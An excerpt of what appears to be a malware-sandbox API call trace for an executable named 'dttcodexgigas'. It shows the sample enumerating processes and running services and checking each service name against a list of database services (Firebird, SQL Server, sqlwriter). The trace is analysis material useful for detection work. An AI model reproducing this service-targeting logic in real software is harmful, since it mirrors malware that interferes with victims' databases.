	[0170.245] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0170.245] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0170.245] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0170.245] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0170.245] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0170.246] lstrlenW (lpString="audiodg.exe") returned 11
	[0170.246] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0170.246] lstrlenW (lpString="Memory Compression") returned 18
	[0170.246] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.247] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.247] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0170.247] lstrlenW (lpString="sihost.exe") returned 10
	[0170.247] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.248] lstrlenW (lpString="svchost.exe") returned 11
	[0170.248] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.248] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.248] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0170.248] lstrlenW (lpString="explorer.exe") returned 12
	[0170.248] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0170.249] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0170.249] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0170.249] lstrlenW (lpString="SearchUI.exe") returned 12
	[0170.249] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0170.250] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0170.250] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0170.250] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0170.250] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0170.251] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0170.251] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0170.251] lstrlenW (lpString="cmd.exe") returned 7
	[0170.251] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0170.251] lstrlenW (lpString="conhost.exe") returned 11
	[0170.251] Process32NextW (in: hSnapshot=0x4a4, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0170.252] CloseHandle (hObject=0x4a4) returned 1
	[0170.252] Sleep (dwMilliseconds=0x1f4) 
	[0170.807] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929ca0
	[0170.816] EnumServicesStatusExW (in: hSCManager=0x3929ca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0170.819] GetLastError () returned 0xea
	[0170.819] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x40c0030
	[0170.819] EnumServicesStatusExW (in: hSCManager=0x3929ca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40c0030, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40c0030, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0170.821] CloseServiceHandle (hSCObject=0x3929ca0) returned 1
	[0170.822] lstrlenW (lpString="Appinfo") returned 7
	[0170.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0170.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0170.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0170.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0170.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0170.822] lstrlenW (lpString="AppXSvc") returned 7
	[0170.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0170.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0170.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0170.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0170.822] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0170.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0170.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0170.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0170.823] lstrlenW (lpString="Audiosrv") returned 8
	[0170.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0170.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0170.823] lstrlenW (lpString="BFE") returned 3
	[0170.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0170.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0170.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0170.823] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0170.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0170.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0170.823] lstrlenW (lpString="CDPSvc") returned 6
	[0170.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0170.823] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0170.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0170.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0170.823] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0170.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0170.824] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0170.824] lstrlenW (lpString="CryptSvc") returned 8
	[0170.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0170.824] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0170.824] lstrlenW (lpString="DcomLaunch") returned 10
	[0170.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0170.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0170.824] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0170.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0170.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0170.824] lstrlenW (lpString="Dhcp") returned 4
	[0170.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0170.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0170.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0170.824] lstrlenW (lpString="Dnscache") returned 8
	[0170.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0170.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0170.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0170.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0170.825] lstrlenW (lpString="DPS") returned 3
	[0170.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0170.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0170.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0170.825] lstrlenW (lpString="DusmSvc") returned 7
	[0170.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0170.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0170.825] lstrlenW (lpString="EventLog") returned 8
	[0170.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0170.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0170.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0170.825] lstrlenW (lpString="EventSystem") returned 11
	[0170.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0170.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0170.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0170.825] lstrlenW (lpString="FontCache") returned 9
	[0170.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0170.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0170.825] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0170.825] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0170.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0170.825] lstrlenW (lpString="gpsvc") returned 5
	[0170.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0170.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0170.825] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0170.825] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0170.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0170.826] lstrlenW (lpString="iphlpsvc") returned 8
	[0170.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.826] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0170.826] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0170.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0170.826] lstrlenW (lpString="KeyIso") returned 6
	[0170.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0170.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0170.826] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0170.826] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0170.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0170.826] lstrlenW (lpString="LanmanServer") returned 12
	[0170.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0170.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0170.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0170.826] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0170.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0170.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0170.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0170.826] lstrlenW (lpString="lfsvc") returned 5
	[0170.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0170.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0170.826] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0170.826] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0170.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0170.826] lstrlenW (lpString="lmhosts") returned 7
	[0170.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0170.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0170.827] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0170.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0170.827] lstrlenW (lpString="LSM") returned 3
	[0170.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0170.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0170.827] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0170.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0170.827] lstrlenW (lpString="MpsSvc") returned 6
	[0170.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0170.827] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0170.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0170.827] lstrlenW (lpString="NcbService") returned 10
	[0170.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0170.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0170.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0170.827] lstrlenW (lpString="netprofm") returned 8
	[0170.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0170.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0170.827] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0170.827] lstrlenW (lpString="NgcSvc") returned 6
	[0170.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0170.827] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0170.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0170.828] lstrlenW (lpString="NlaSvc") returned 6
	[0170.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0170.828] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0170.828] lstrlenW (lpString="nsi") returned 3
	[0170.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0170.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0170.828] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0170.828] lstrlenW (lpString="PcaSvc") returned 6
	[0170.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0170.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0170.828] lstrlenW (lpString="PlugPlay") returned 8
	[0170.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0170.828] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0170.828] lstrlenW (lpString="Power") returned 5
	[0170.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0170.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0170.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0170.828] lstrlenW (lpString="ProfSvc") returned 7
	[0170.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0170.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0170.829] lstrlenW (lpString="RpcEptMapper") returned 12
	[0170.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0170.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0170.829] lstrlenW (lpString="RpcSs") returned 5
	[0170.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0170.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
